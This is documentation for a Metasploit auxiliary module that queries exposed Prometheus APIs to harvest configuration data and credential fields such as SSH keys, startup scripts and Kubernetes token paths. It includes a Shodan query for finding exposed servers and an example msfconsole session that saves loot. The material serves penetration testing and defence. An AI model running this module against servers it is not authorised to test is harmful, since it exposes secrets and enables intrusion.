Prometheus Api Gather - Metasploit Framework

Vulnerable Application

This module utilizes Prometheus' API calls to gather information about the server's configuration, and targets. Fields which may contain credentials, or credential file names are then pulled out and printed.

Targets may have a wealth of information, this module will print the following values when found: __meta_gce_metadata_ssh_keys, __meta_gce_metadata_startup_script, __meta_gce_metadata_kube_env, kubernetes_sd_configs, _meta_kubernetes_pod_annotation_kubectl_kubernetes_io_last_applied_configuration, __meta_ec2_tag_CreatedBy, __meta_ec2_tag_OwnedBy

Shodan search: "http.favicon.hash:-1399433489"

A docker image is available however this basic configuration has almost no interest data. Configuring it can be tricky as it may not start w/o being able to contact the contacted services.

Verification Steps

Install the application or find one on the Internet
Start msfconsole
Do: use auxiliary/gather/prometheus_api_gather
Do: set rhosts [ip]
Do: run
You should get any valuable information

Options

Scenarios

Prometheus 2.39.1

msf auxiliary(gather/prometheus_api_gather) > set rhosts 11.111.11.111
rhosts => 11.111.11.111
msf auxiliary(gather/prometheus_api_gather) > set rport 80
rport => 80
msf auxiliary(gather/prometheus_api_gather) > run
[*] Running module against 11.111.11.111

[*] 11.111.11.111:80 - Checking build info
[+] Prometheus found, version: 2.39.1
[*] 11.111.11.111:80 - Checking status config
[+] YAML config saved to /root/.msf4/loot/20230815174315_default_11.111.11.111_PrometheusYAML_982929.yaml
[+] Credentials
===========

  Name                       Config         Host  Port  Public/Username  Private/Password/Token                               Notes
  ----                       ------         ----  ----  ---------------  ----------------------                               -----
  kubernetes-apiservers      authorization              Bearer           /var/run/secrets/kubernetes.io/serviceaccount/token
  kubernetes-nodes           authorization              Bearer           /var/run/secrets/kubernetes.io/serviceaccount/token
  kubernetes-nodes-cadvisor  authorization              Bearer           /var/run/secrets/kubernetes.io/serviceaccount/token

[*] 11.111.11.111:80 - Checking targets
[+] JSON targets saved to /root/.msf4/loot/20230815174315_default_11.111.11.111_PrometheusJSON_145604.json
[*] 11.111.11.111:80 - Checking status flags
[+] Config file: /etc/config/prometheus.yml
[*] Auxiliary module execution completed